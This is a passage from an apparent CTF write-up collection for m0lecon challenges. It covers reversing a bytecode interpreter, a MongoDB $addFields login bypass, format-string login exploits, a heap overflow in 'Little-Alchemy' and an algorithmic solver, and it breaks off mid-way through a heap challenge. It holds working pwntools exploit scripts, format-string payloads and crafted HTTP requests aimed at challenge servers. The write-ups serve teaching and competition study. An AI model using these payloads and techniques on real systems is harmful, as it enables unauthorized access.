were the flag and help features, so these had to be parsed somewhere. A function called identifierType()
is responsible for parsing reserved words using a trie-like code:
TokenType __fastcall identifierType()
{
TokenType result; // eax
int v1; // eax
int v2; // eax
switch ( *scanner.start )
{
case 'a':
result = checkKeyword(1, 2, &unk_91E4, TOKEN_AND);
break;
case 'c':
result = checkKeyword(1, 4, "lass", TOKEN_CLASS);
break;
case 'e':
result = checkKeyword(1, 3, "lse", TOKEN_ELSE);
break;
case 'f':
if ( scanner.current - scanner.start <= 1 )
goto LABEL_32;
v1 = *((char *)scanner.start + 1);
if ( v1 == 'l' )
{
result = checkKeyword(2, 2, "ag", TOKEN_FLAG);
}
else if ( v1 > 108 )
{
if ( v1 == 'o' )
{
result = checkKeyword(2, 1, "r", TOKEN_FOR);
}
else
{
if ( v1 != 'u' )
goto LABEL_32;
result = checkKeyword(2, 1, "n", TOKEN_FUN);
}
}
else
{
if ( v1 != 'a' )
goto LABEL_32;
result = checkKeyword(2, 3, "lse", TOKEN_FALSE);
}
break;
case 'h':
result = checkKeyword(1, 3, "elp", TOKEN_HELP);
break;
/*
shortened, you get the point
[...]
*/
case 'v':
result = checkKeyword(1, 2, "ar", TOKEN_VAR);
break;
case 'w':
result = checkKeyword(1, 4, "hile", TOKEN_WHILE);
break;
default:
LABEL_32:
result = TOKEN_IDENTIFIER;
break;
}
return result;
}
Using the code we can resolve flag
and help
to TOKEN_FLAG = 0x16
and TOKEN_HELP = 0x27
enemurable values respectively.
Now, where are those tokens compiled? In statement()
:
void __fastcall statement()
{
if ( (unsigned __int8)match_token(TOKEN_PRINT) )
{
printStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_FOR) )
{
forStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_IF) )
{
ifStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_RETURN) )
{
returnStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_WHILE) )
{
whileStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_HELP) )
{
helpStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_FLAG) )
{
flagStatement();
}
else if ( (unsigned __int8)match_token(TOKEN_LEFT_BRACE) )
{
beginScope();
block();
endScope();
}
else
{
expressionStatement();
}
}
Both flagStatement()
and helpStatement()
are simple functions:
__int64 flagStatement()
{
consume(TOKEN_SEMICOLON, (__int64)"Expect ';' after command.");
return emitByte(0xEu);
}
__int64 helpStatement()
{
expression();
consume(TOKEN_SEMICOLON, (__int64)"Expect ';' after value.");
return emitByte(0x19u);
}
So we are dealing with 2 new instructions, 0xE
for flag and 0x19
for help.
Looking into run()
, we can locate the handlers for those opcodes:
case 0xEu:
printFlag();
putchar(10);
continue;
/* [...] */
case 0x19u:
v104 = pop();
v0 = *(double *)&v105;
get_help_for_primitive(v104, v105);
putchar(10);
continue;
Digging deeper:
void printFlag()
{
do_printflag();
}
void __fastcall do_printflag()
{
decode(qword_20CC40);
}
void __fastcall get_help_for_primitive(int a1, __int64 a2)
{
if ( a1 == 1 )
{
printf("A nil.");
}
else if ( a1 )
{
if ( a1 == 2 )
{
printf("A number.");
}
else if ( a1 == 3 )
{
get_help_complex(3LL, a2);
}
}
else
{
printf("A boolean.");
}
}
void __fastcall get_help_complex(__int64 a1, __int64 a2)
{
char dest[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
switch ( *(_DWORD *)a2 )
{
case 0:
printf("A bound method.");
break;
case 1:
printf("A class.");
break;
case 2:
printf("A closure.");
break;
case 3:
printf("A function.");
break;
case 4:
printf("An instance.");
break;
case 5:
printf("A native function.");
break;
case 6:
strncpy(dest, *(const char **)(a2 + 24), 0x1EuLL);
if ( !strcmp(dest, "and") )
{
decode(qword_20C460);
}
else if ( !strcmp(dest, "class") )
{
decode(qword_20C4D0);
}
else if ( !strcmp(dest, "else") )
{
decode(qword_20C540);
}
/* [...] */
else if ( !strcmp(dest, "while") )
{
decode(qword_20CB60);
}
else if ( !strcmp(dest, "help") )
{
decode(qword_20CBD0);
}
else
{
printf("A string.");
}
break;
case 7:
printf("An upvalue.");
break;
default:
return;
}
}
We see that help
for strings and flag
both use the decode()
function to decode a message.
Jumping to XREFs, the used qwords are populated by refresh()
, which is called at the begginning of run()
(so for each chunk) - the refresh()
function is long and uninteresting, just moving a bunch of qword constants. I decided to get the values dynamically with gdb:
pwndbg> dump binary memory dump.bin 0x55555560c460 0x55555560cca0
Now let's reimplement the decode()
function in python:
void __fastcall decode(char *a1)
{
unsigned int i; // [rsp+14h] [rbp-7FCh]
int len; // [rsp+18h] [rbp-7F8h]
char mul1; // [rsp+1Ch] [rbp-7F4h]
char add1; // [rsp+20h] [rbp-7F0h]
char add2; // [rsp+24h] [rbp-7ECh]
char add3; // [rsp+28h] [rbp-7E8h]
char add4; // [rsp+2Ch] [rbp-7E4h]
char v8[1008]; // [rsp+30h] [rbp-7E0h] BYREF
char src[1000]; // [rsp+420h] [rbp-3F0h] BYREF
unsigned __int64 v10; // [rsp+808h] [rbp-8h]
v10 = __readfsqword(0x28u);
len = (unsigned __int8)*a1;
mul1 = a1[1];
add1 = a1[2];
add2 = a1[3];
add3 = a1[4];
add4 = a1[5];
for ( i = 0; len > i; ++i )
{
src[i] = a1[i + 6];
a1[i + 6] = src[i] * (src[i] * (add2 + src[i] * (add1 + mul1 * src[i])) + add3) + add4;
v8[i] = a1[i + 6];
}
strncpy(a1 + 6, src, 0x6AuLL);
printf("%s", v8);
}
with open('dump.bin', 'rb') as f:
data = f.read()
def decode(offset):
inp = data[offset:]
len = inp[0] & 0xFF
mul1 = inp[1]
add1 = inp[2]
add2 = inp[3]
add3 = inp[4]
add4 = inp[5]
result = []
for i in range(len):
tmp = inp[i+6]
result.append((tmp * (tmp * (add2 + tmp * (add1 + mul1 * tmp)) + add3) + add4) & 0xFF)
return bytes(result)
for i in range(0,len(data),0x70):
print(decode(i))
Running this we get suspicious output:
$ python3 decode.py
b'Logical AND operation.\x00'
b'A class, have you ever heard of OOP?\x00'
b'What to do if the previous condition is not satisfied.\x00'
b'A boolean value, which is not true.\x00'
b'The command to print the flag.\x00'
b'A for loop, like a whhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh'
b"AHAHAHAHAH\nNo wait, it's a function.\x00"
b'Basic keyword for conditional programming.\x00'
b'Nothing to say.\x00'
b'Logical OR operation.\x00'
b'How to display something.\x00'
b'How to pass something to the previous function.\x00'
b"No, it's not a hero.\x00"
b'Not that.\x00'
b'A boolean value, which is not false.\x00'
b'A variable... Do you know how to code?\x00'
b"It's a while loop.\x00"
b'Really? You need help for help?\x00\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tQ\x80D\xce\xd9\xc1\xa9\x9dh*Uh*U\xc9\x9ddU\xb3A\xa0>\x87U\xa5\xc9\xac\xb2\x1a\x89{6\xd46\x7f\xea\x89AA\xf86\xf0{\xc9\xea\x7f\xa5\x7fd\xc96\xa9\x9dh\xb46\xb3A\xa0>\x16<\x01U{FNU\xf8F\xf4U\x1a\xa0{U*\xf4\xef\xach\xc9Uh\xc9`5\t\t\t\t\t\t'
b'8\x88\xedG\x88\xedG\x888\x88!\x88d\xf85\xa3\x94\x88\x088\x19\xffW8\xa4\xab\xb1\xab\x94\x878\xf8\xf8\xdd\xabe\xa48\x87\x94\x08\x94!8\xab8\x88\xed\xd1\xabd\xf85\xa3\xcb\x89\xf8\x88\xa4\x1b\x13\x88\xdd\x1b\x91\x88W5\xa4\x88G\x91'
Notice how the help for help is way too long when going by the internal length? It must overflow into the encoded string for flag! The encoded messages are restored/refreshed only once per code chunk, so after running help "help";
the encoded message for flag will be corrupted. Maybe it's intended?
Let's try to run the following program:
fun test()
{
help "help";
flag;
}
test();
$ ./donut test.txt
Really? You need help for help?
This is the flag: ptm{c4n_U_r34lly_1nt3rpret_Thi5_flag?}, now you can submit it!
BINGO, we got the flag!
Lucky-Fall (95 solves, 76 points)
by JaGoTu
Are you a lucky user?
Author: 0000matteo0000
We are given a link to a website that shows a funny "lucky user" and has a login box.
WreckTangle? Is that predicting another team merge?!
The login requests looks like this:
POST /login HTTP/1.1
Host: lucky-fall.challs.m0lecon.it
Content-Length: 31
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json
Origin: http://lucky-fall.challs.m0lecon.it
Referer: http://lucky-fall.challs.m0lecon.it/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"name":"abc","password":"def"}
Luckily, the server has detailed exceptions enabled, so we can leak bits of the source code.
Posting {}
:
Traceback (most recent call last):
File "/home/appuser/mongo_in/flask/server.py", line 38, in login
user = users.aggregate([{"$match": {"user": request.json["name"]}}, {"$addFields": request.json}]).next()
KeyError: 'name'
Posting {"name":"admin"}
:
Traceback (most recent call last):
File "/home/appuser/mongo_in/flask/server.py", line 39, in login
if hashlib.sha256((user["password"] + user["salt"]).encode("UTF-8")).hexdigest() == user["hash"]:
KeyError: 'password'
The $addfields
is very suspicious, it means that we find (match
) a user with the provided name and then merge the fields of this item with all items from the request.json
. That means that we can simply ovewrite the salt
and hash
values:
POST /login HTTP/1.1
Host: lucky-fall.challs.m0lecon.it
Content-Length: 127
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/json
Origin: http://lucky-fall.challs.m0lecon.it
Referer: http://lucky-fall.challs.m0lecon.it/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{
"name":"admin",
"hash":"eb44e5c1ed8fef20aa3af1a1d737cc4094a31823d087ccb5d681ab96b6e2ff3e",
"salt":"",
"password":"kekeke"
}
HTTP/1.1 200 OK
Content-Length: 45
Content-Type: text/html; charset=utf-8
Date: Fri, 14 May 2021 17:20:50 GMT
Server: gunicorn
Connection: close
ptm{it_is_nice_to_have_objects_as_parameters}
Yet Another Login (19 solves, 225 points)
by FeDEX
Just another another simple login bypass challenge.
nc challs.m0lecon.it 5556
Author: Alberto247
This challenge is similar to the "Another Login" challenge, the only difference is that the seed
is cleared from the stack and there is no way we can leak it anymore.
In this case, we need to think of another trick in order to bypass the login. Given that the input size is quite short (19 bytes) wee don't have the comfort to overwrite pointers and corrupt values on the stack as this approach would be too long.
Thus, the technique we can up with is to use *
trick which would allow us to take the padding length from the stack and when we can write it in the sum
variable thus bypass all conditions.
So, we just need to send 16 times the following payload: %*11$c%*9$c%8$n
from pwn import remote #pip install pwntools
from hashlib import sha256
def solvepow(p, n):
s = p.recvline()
starting = s.split(b'with ')[1][:10].decode()
s1 = s.split(b'in ')[-1][:n]
i = 0
print("Solving PoW...")
while True:
if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode():
print("Solved!")
p.sendline(starting + str(i))
break
i += 1
def exploit(p):
#p.interactive()
for i in range(16):
p.recvuntil("Give")
print(p.recvline())
p.sendline("%*11$c%*9$c%8$n")
print("Got shell!")
p.interactive()
if __name__ == '__main__':
p = remote('challs.m0lecon.it', 5556)
solvepow(p, n = 5)
exploit(p)
- flag:
ptm{N0w_th1s_1s_th3_r34l_s3rv3r!}
Another Login (29 solves, 160 points)
by FeDEX
Just another simple login bypass challenge.
nc challs.m0lecon.it 1907
Author: Alberto247
We are presented a binary and a remote end:
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7d6890a38b10cab434c876854ab80f742d3abf77, for GNU/Linux 3.2.0, not stripped
Reversing the binary is pretty straight forward. The binary reads 4 random bytes from /dev/urandom
and uses them to initiate srandom()
.
After that, the binary proceeds to generate 15 times one pair of number: public | private
.
We are asked to provide the sum of the pair.
However, due to the fact that the program has unsanitized output formating, we can leak the seed from the stack using this vulnerability and then precalculate all pairs of numbers:
if __name__ == "__main__":
from hashlib import sha256
from binascii import unhexlify
import re
from itertools import product
while 1:
######################################## POW
p = remote(remote_server, PORT)
ret = p.recvline().strip().decode()
prefix, suffix = re.findall(r"Give me a string starting with (.+) such that its sha256sum ends in (.+).", ret)[0]
for i_list in product(list(range(32, 128)), repeat=5):
c_list = list(map(chr, i_list))
tmp = prefix + "".join(c_list)
tmp_hash = sha256(tmp.encode()).hexdigest()
if tmp_hash[-5:] == suffix:
print "found!"
p.sendline(tmp)
break
else:
print "not found..."
######################################## EXPLOIOT
p.recvline()
p.recvuntil('Give me the 1 secret, summed to')
looking = p.recvline().strip().replace('!','')
print 'Value now is >>',looking,'<<'
payload = '%21$p' # leak seed from stack
payload += '%172c' #
payload += '%8$n' # put value 190 at int_input
p.sendline(payload)
data = p.recvline()
data = p.recvline()
print 'SEED=', data[2:10]
seed = int('0x'+data[2:10],16)
libc_native.srand(seed)
caca = libc_native.rand() % 255
print 'GENERATED I got',libc_native.rand() % 8 + 2,caca
if 'NOPE' in p.recvline():
p.close()
continue
else:
print 'MATCH!!!'
# gdb.attach(p)
for i in range(15):
val1 = libc_native.rand() % 256
val2 = libc_native.rand() % 8 + 2
p.sendline('%'+str(val1+val2)+'c' + '%8$n')
# ============ GDB =========== #
p.interactive()
- flag:
ptm{D1d_u_r3ad_th3_0per4t0r_m4nua1_b3f0re_l0gging_1n?}
Little-Alchemy (24 solves, 184 points)
by JaGoTu
Alchemy is a wonderful world to explore. Are you able to become a skilled scientist? We need your help to discover many mysterious elements!
nc challs.m0lecon.it 2123
Note: the flag is inside the binary, and clearly it is different on the remote server.
Author: FraLasa
We get a littleAlchemy
file:
$ file littleAlchemy
littleAlchemy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=88da1d6af339a52e2be34cd2085c7e1673ca813a, for GNU/Linux 3.2.0, not stripped
When running it, we get a simple element merging interface (newlines added for clarity):
$ ./littleAlchemy
Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
>1
in which position you want to create the new element: 1
index of source 1 element: [or -1 = Water, -2 = Fire, -3 = Air, -4 = Earth]: -1
index of source 2 element: [or -1 = Water, -2 = Fire, -3 = Air, -4 = Earth]: -4
[*] created River!
Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
>3
[1]: River
Operations: [1]->Create_element [2]->Print_element [3]->Print_all [4]->Edit_element [5]->Delete_element [6]->Copy_name [7]->Exit
>
There are multiple bugs in the binary, but we'll mention only those we used. The biggest one is in the Edit_element function, specifically in the Element::customizeName()
function:
__int64 __fastcall Element::customizeName(Element *this)
{
return std::operator>><char,std::char_traits<char>>(&std::cin, this->name);
}
This is a classical unlimited read (no length provided, this->name
is a regular char*
) allowing us to overflow the allocated element buffer. If we allocate two elements on the heap, we can overflow from the first into the second and corrupt its structure completely.
When a new element is made using Element::Element(ElementType type)
, its name is initialized by indexing a table of names (elementTable
) using the element type. Here is the table as seen in IDA:
.data:00000000000060E0 ; char *elementName[9]
.data:00000000000060E0 elementName dq offset aNop ; DATA XREF: Element::Element(ElementType)+40↑o
.data:00000000000060E0 ; Element::Element(ElementType)+6E↑o
.data:00000000000060E0 ; "nop"
.data:00000000000060E8 dq offset aWater ; "Water"
.data:00000000000060F0 dq offset aFire ; "Fire"
.data:00000000000060F8 dq offset aVapor ; "Vapor"
.data:0000000000006100 dq offset aAir ; "Air"
.data:0000000000006108 dq offset aNop ; "nop"
.data:0000000000006110 dq offset aSmoke ; "Smoke"
.data:0000000000006118 dq offset aNop ; "nop"
.data:0000000000006120 dq offset aEarth ; "Earth"
.data:0000000000006128 dq offset aRiver ; "River"
.data:0000000000006130 public flag
.data:0000000000006130 ; char *flag
.data:0000000000006130 flag dq offset aPtmTheFlagIsHe
.data:0000000000006130 ; DATA XREF: Handler::Handler(void)+79↑r
.data:0000000000006130 ; Handler::Handler(void)+80↑r ...
.data:0000000000006130 ; "ptm{the flag is here!}"
Notice anything suspicious? A pointer to the flag happens to be just after elementTable
. Therefore, if we manage to create an element with a type of 10, its name will be initialized to the flag, and we can simply print it.
We can only create new elements (and call the init function) by combining two elements. The 4 basic elements are marked as "primitive". Pseudocode of combining is like this:
new_type = ele1.type ^ ele2.type
if not new_type <= 9:
bailout("not possible")
else if new_type != 0 or !ele1.is_primitive:
create_element(new_type)
else:
create_element(ele1.type)
Baiscally there is a special case that means that when you combine elements of the same type (and therefore new_type = type ^ type = 0
), you get an instance of the old element and not a new one. So here I got an idea to simply use the heap overflow to craft an element with type of 10 (marked as primitive) and combine it with itself. That worked for crafting new elements with almost arbitrary types, but guess what: chr(10) = "\n"
, and therefore it was the only character I couldn't write, as it simply ended the cin
input loop.
My second idea was that there's a lot of weird narrowing conversions, as sometimes the ElementType is a 64-bit int and sometimes just an 8-bit. The new_type <= 9
check does a signed check, so I used the overflow to craed an element of type 2 | (1 << 63) = -9223372036854775806
.
Let's now merge that with Earth (type 8):
new_type = 8 ^ 0x8000000000000002 = 0x800000000000000A (=~ -9223372036854775798)
As the comparison uses it as a signed operand, -9223372036854775798 <= 9
is true. But later when the element is actually constructed, this is narrowed to
0x800000000000000A & 0xFF = 0x0A
and we get an element of type 10, which should get named to flag.
The only missing detail for our full script is that I was getting a heap corruption error, as I corrupted the heap top. This is solved by simply allocating a bunch of random elements to move the top lower, so it's not corrupted.
Complete script:
from pwn import *
from hashlib import sha256
def solvepow(p, n):
s = p.recvline()
starting = s.split(b'with ')[1][:10].decode()
s1 = s.split(b'in ')[-1][:n]
i = 0
print("Solving PoW...")
while True:
if sha256((starting+str(i)).encode('ascii')).hexdigest()[-n:] == s1.decode():
print("Solved!")
p.sendline(starting + str(i))
break
i += 1
def do_create(newpos, el1, el2):
io.sendlineafter('>', '1')
io.sendlineafter(':', str(newpos))
io.sendlineafter(':', str(el1))
io.sendlineafter(':', str(el2))
def get_name(pos):
io.sendlineafter('>', '2')
io.sendlineafter(':', str(pos))
return io.recvline().strip()
def do_rename(pos, newname):
io.sendlineafter('>', '4')
io.sendlineafter(':', str(pos))
io.sendlineafter(':', newname)
def do_delete(pos):
io.sendlineafter('>', '5')
io.sendlineafter(':', str(pos))
def do_copy_name(src, dst):
io.sendlineafter('>', '6')
io.sendlineafter(':', str(src))
io.sendlineafter(':', str(dst))
#io = remote('challs.m0lecon.it', 2123)
#solvepow(io, n = 5)
io = process('./littleAlchemy')
do_create(0, -1, -1)
do_create(1, 0, -4)
do_create(2, 0, -4)
do_create(3, 0, -4)
do_create(4, 0, -4)
do_rename(0, fit({
'iaaajaaa': p64(1), #is_primitive
'kaaalaaa': p64(2 | (1 << 63)), #type
}, length=128))
do_create(5, 1, -4)
print(get_name(5))
$ python3 alchemy.py
[+] Opening connection to challs.m0lecon.it on port 2123: Done
Solving PoW...
Solved!
b'ptm{vT4bl3s_4r3_d4ng3r0us_019}'
[*] Closed connection to challs.m0lecon.it port 2123
Solved! Given the flag text you were probably supposed to abuse vtables.
As closing words, my theory as to what the "intended" solution was in bullet points:
- When the primitive elements are initialized, the water element is renamed to the flag.
- Combined elements use a different (bigger) structure - they also store pointers to their source elements, and they have 16 more bytes for element name.
- There is an unused
ComposedElement::showSources()
function which prints the source elements names. Calling it on anything made from the primitive Water would therefore print the flag. - In
ElementHandler::copyName
there is a bug: before copying the name, it only checks whether thesource
element is primitive or not, and copies based on that. If you copy fromcombined
toprimitive
, you will overflow the name.
So if it was not for the unlimited overflow in renaming (if the cin
read had proper bounds), I guess you should be able to use the copyName
to corrupt a vtable pointer of an element in such a way that calling the destructor results in calling ComposedElement::showSources()
and get the flag that way.
Left or right? (19 solves, 217 points)
by y011d4
Just follow your instinct. Are you going left or right?
nc challs.m0lecon.it 5886
Authors: Drago_1729, matpro, mr96
This challenge is algorithmic task.
Hello hacker! This challenge will test your programming skills.
I will give you some strings made up only by L and R. You start at a point O, L means moving to the left by 1 unit, R means moving to the right by 1 unit.
Your objective is to concatenate ALL these strings such that the leftmost point that you reach during your path is as near as possible to O.
Let's call this point P. What is the distance between O and P?
The first line of the input contains a number N.
The following N lines contain a string made up only of the characters L and R.
Your answer should be a non-negative integer.
In every testcase 0<N<=150 and the sum of the lengths of the given strings is at most 100000.
You must answer to 200 testcases to get the flag! Time limit is one second for each test.
Examples are:
4
LRLRLLRRRLLRLLRRRRLR
LRLRRLRLLRLLLRR
LRRLRLLLLLLLLLLRLRRLLLLRRLLLRRRL
LLLRLRLLR
First of all, we need to hold not all "LR" but:
- the leftmost place from the current position (call it
lr_diff_max
) - the final place from the current position (call it
last_pos
)
for each string, where the left side is positive. For example above:
lr_diff_max: 2, 3, 12, 3
last_pos: -2, 1, 10, 1
Note that lr_diff_max >= last_pos
.
In the following, we consider the case last_pos <= 0
and the other case separately.
last_pos
<= 0
In this case, the last position will be on the right or the same. This is higher priority than the other case.
For each choice, we should pick the case of lr_diff_max
<= ans
(ans
means the current answer for each task) because it won't affect the answer. If there are no such cases, choose the smallest lr_diff_max
case in order to minimize the ans
last_pos
> 0
After the all last_pos
<= 0 cases are chosen, we go to this case.
Considering the fact that the final position (call it all_last_pos
) after all are selected doesn't change, we should pick the case of maximum lr_diff_max - last_pos
in each choice, because naively the final ans
equals to the final lr_diff_max - last_pos + all_last_pos
.
The all script is as follow:
import re
from hashlib import sha256
from itertools import product
import numpy as np
from pwn import *
_r = remote("challs.m0lecon.it", 5886)
ret = _r.recvline().strip().decode()
prefix, suffix = re.findall(
r"Give me a string starting with (.+) such that its sha256sum ends in (.+).", ret
)[0]
for i_list in product(list(range(32, 128)), repeat=4):
c_list = list(map(chr, i_list))
tmp = prefix + "".join(c_list)
tmp_hash = sha256(tmp.encode()).hexdigest()
if tmp_hash[-len(suffix):] == suffix:
print("found!")
_r.sendline(tmp)
break
_r.sendlineafter("Time limit is one second for each test.\n", "")
for epoch in range(200):
print(epoch)
N = int(_r.recvline().strip())
steps_list = []
for _ in range(N):
steps_list.append(_r.recvline().strip().decode())
lr_diff_max_list_0 = []
lr_diff_max_list_1 = []
last_pos_list_0 = []
last_pos_list_1 = []
for steps in steps_list:
lr_diff_max = 0
tmp = 0
for step in steps:
if step == "L":
tmp += 1
else:
tmp -= 1
if tmp > lr_diff_max:
lr_diff_max = tmp
if tmp <= 0:
lr_diff_max_list_0.append(lr_diff_max)
last_pos_list_0.append(tmp)
else:
lr_diff_max_list_1.append(lr_diff_max)
last_pos_list_1.append(tmp)
lr_diff_max_list_0 = np.array(lr_diff_max_list_0)
lr_diff_max_list_1 = np.array(lr_diff_max_list_1)
last_pos_list_0 = np.array(last_pos_list_0)
last_pos_list_1 = np.array(last_pos_list_1)
ans = 0
# case0: last_pos <= 0
n_0 = len(lr_diff_max_list_0)
used = [False] * n_0
current_pos = 0
for _ in range(n_0):
found = None
for i in range(n_0):
if not used[i] and lr_diff_max_list_0[i] <= current_pos:
found = i
break
if found is None:
pos_min = 10 ** 10
for i in range(n_0):
if not used[i] and lr_diff_max_list_0[i] <= pos_min:
pos_min = lr_diff_max_list_0[i]
found = i
assert found is not None
used[found] = True
ans = max(ans, current_pos + lr_diff_max_list_0[found])
current_pos += last_pos_list_0[found]
# case1: last_pos > 0
argidx = np.argsort(lr_diff_max_list_1 - last_pos_list_1)[::-1]
for idx in argidx:
ans = max(ans, current_pos + lr_diff_max_list_1[idx])
current_pos += last_pos_list_1[idx]
_r.sendline(str(ans))
if "Yay" not in _r.recvline().strip().decode():
break
print(_r.recvall())
ptm{45_r16h7_45_p0551bl3}
Donut Factory (15 solves, 263 points)
by FeDEX
Come visit our factory to create your custom donuts!
nc challs.m0lecon.it 1743
Author: Alberto247
This challenge provided 2 files: donut
binary and libc-2.31.so
A simple menu based challenge with the options to:
- Create donut
- Delete donut
- View donut
- Buy Donut
- Leave
Quickly reversing the program we can find unsanitized input for the Delete
and View
functionalities allowing us to perform the actions on arbitrary addresses.
The Delete method takes as input an address and frees it. The View method takes as input an address and prints a donut based on the first byte.
Following this, I was able to generate all donuts and save their hash in a table and then proceed to leak the libc pointer from a freed heap chunk.
hashes = ["244b8911aae2f329311f6d6511bb3c3c","9e12b4534de7339be7c1c550e42193f4","3517d5c190d9891461f855833686ce02","31f807fd73e342128428d0446620c3cb","e4140bf37897507a4baf6b5a679d9919","70dadc8a305d5594fe42a71785d5a97b","6c1f3bfceb82675c409eb3a9a173592f","27f3bee48c0f41f8fb494fcc8048e919","550fee47562795ebda1ea957e02bda0f","c7b22166c88a40eccfcf8732499e40d1","79a490bd8bc95a9e447f1af1f272f59a","0e793dd64dfb6eeaed878d9dcfa021e3","535e39e5e031961bacd91a1a3e7aaf38","74aecbca921511a0fef7b9db6767795d","df77b317a2ffd306893ca4395cfa2811","0f3c26437382ce2d5cbc253ecf912966","157461a3d1de9805c73b53c36c9d1925","a4bf483f8b958d05d78beadc80ea95a3","c1e90ac302441cdcef82528d318d298a","c59a0fdbec6e95ce8543fe2c0588b199","878f4d8961abb07585eec52242ac5054","1c3c336e76c9f6f4204239d7d68fc0c7","92b72832a439731509cb2b19c5063526","362ca530322fa159c7597a533372b3bc","8507b0c24546f5fc10ebecd26ab718b6","491a700da38fb98b6183e6c18d3296be","6b07a7b8416c7275c973158ddaa7357d","a14b87d441f3a7e52a647328d3a503d2","0a3910b8ac25ae8bbb6a03346b64f04c","9bf2dc4b520f698f5df821b6bdda0832","c36d65dc3f8cbdc199fcdbc78a6adff3","1dfafd64239861ec8976219bb0589351","756c4c95eef6cf127ca47d9c582ffee0","13e206ff982d36e82117d80b7a485aa9","2266c15194b98c647e243461abe42fe3","6ded8fdc2381cce1592f8d09a4a95c3d","b5487c60d1224434444bfd9236c709c7","e1ffb5c58845ffc368069f2a5b217bb5","b1875b40d0a3f4306f3f35203d4f6e47","f76a9c9f0d7acd77ceae43edc5162a5c","91717e87f382ec3643028b82da8c60c0","2fae081d73db99dc269da9bf1d9ecf01","4195d602e0c4b7c9940aaf9f72d3a73a","3b66601aee65402d5034a3b853e59aae","617196e86d4bcf9d7764f30f24734978","781609ffbae6bd53efba2f8bef9bf354","018e0f642cbd14fab3583b11d3503366","d06ad4593071eab0c7a64ffc62b74d61","8566c56cb71bbb4501b6d0f7c33ffcc7","336d9786cde6ea8995193084a1d9535f","2296a95a8d5ed3d6a4a2a5d44b9d8752","a5d41c4efc1668ccd6f13489ee0b6962","db8129e49e38831e955b51722a82e5e9","4dae69a5b462ac042c25bd36d6834c10","ab8ea2d6ab74277e057096ad221e1b1b","7a1b732c62c27e44d58aa5c8b94a89b8","e7776912cf2d73fe9c0ed71bace5468b","a08ba9655620bb8507da6439d64c8d43","a66e9a7140d86c5fb8ae912f432e298d","ee4e519a9c42a244621b16a02840d56f","9dd6f10f3ad48d0de2668e7b59818b7e","26a7195cff38401ec3a72b090bf50eaf","02fbe940ff64454bfd82de8a9b3626b9","61a65086a1da0342805f60b43ff0e03d","3f048d2ee699756f90530154808594ea","c3ad0b1059c7a0ed1254113b724591ad","522a994709b8fca96e5e981cabb655e5","aacd10c132ad192cfb94d3469dc35f24","f0d250a6a25cf33edbb19cc252899a19","408140dd3008b8da4b8378939a309f4a","0bc5c8454d5b3a1054df5d9c1ff38dc0","c91203b96d22b5cb3bdd3b27f0a1f111","e9e6233859c6f5b62532eb760e978178","0d82f46293df813946c1fd6bf159206c","ac448688a38d6f614366bb39cef03eef","93dc00ec08dfb66919f25671523fe612","47f21e690538237b94eeac2ca98ee0b7","088b6256948a64e0f1643be6b072b159","ea01cec409b620a60319291540f614d7","6d25b193f750efba5cd08b2769c0e3a7","4f6b299178369d1ee12b92d9e828bacf","61345b477c5597926af5e6bf36ce0e0a","52aef517cfc57a654ed230ca4c1362d7","c8c204a854409da700158526cae62435","e1cdd4d5caf77c6f3fec87214f5bb9dc","145c3c25998a15749519818bb89c135f","438b5dd73f94a5c5d0d0362ad4a66e6c","46f3a1705af1ebf4d9859b188684fd8a","0475d66adb47f2d47d76c3332b10b7c9","7cfcd6c4d5ad54026e9f537d38b9f59e","039b2e616cc311f44aadfa0c87160883","7cdef375044f36af43db571769536bdf","b1e1b4eead9587bbdff13bf15d197533","7bfb237b4b335c973f3bf7a6dd1cbd32","20dce478a13cec86b93d91a279053fba","33dd8cc72e018ff1c072aa44094b24ca","5ec3331b69725074c0c0774d64275e1f","e6e1729ff202433d82a9a79db3dfbac3","fb75b8d513aeba8a8f77d68f22f99815","b72b90a296d09822fda435208351d399","0186368abd0b3cd1971eb92b22dfa891","240d0624a58b37c76c1c30142ae20c20","1b6986d19e2920b8969eda71c0f06f23","6335c0e4d544e951618e0a2391615620","d882120924e914555016ee516ef8b1f6","5dd36739c264232ce517ef30c69e4020","d44d13f74c644c393daddc806b8effb6","0b347e6704a266e42c74463932e6887c","beec5ab4565cbe1f913a0653234bf996","6f4a0772195bcee71e6554e5e6d06178","256761ab9ec28964531955bad1689db0","8aa2a07a1b6b26dc492110b225e74fa0","cdfc4702005dd5ee08b8fba5400efef2","171582347945021b955f3d9f4bbc3d19","287ec05f16189f349e71e8f5739ff576","cab56c9f5311d74d1716958867abea24","8da48008d6411218ea86ed8d4b2ed3b6","08748849f4347c10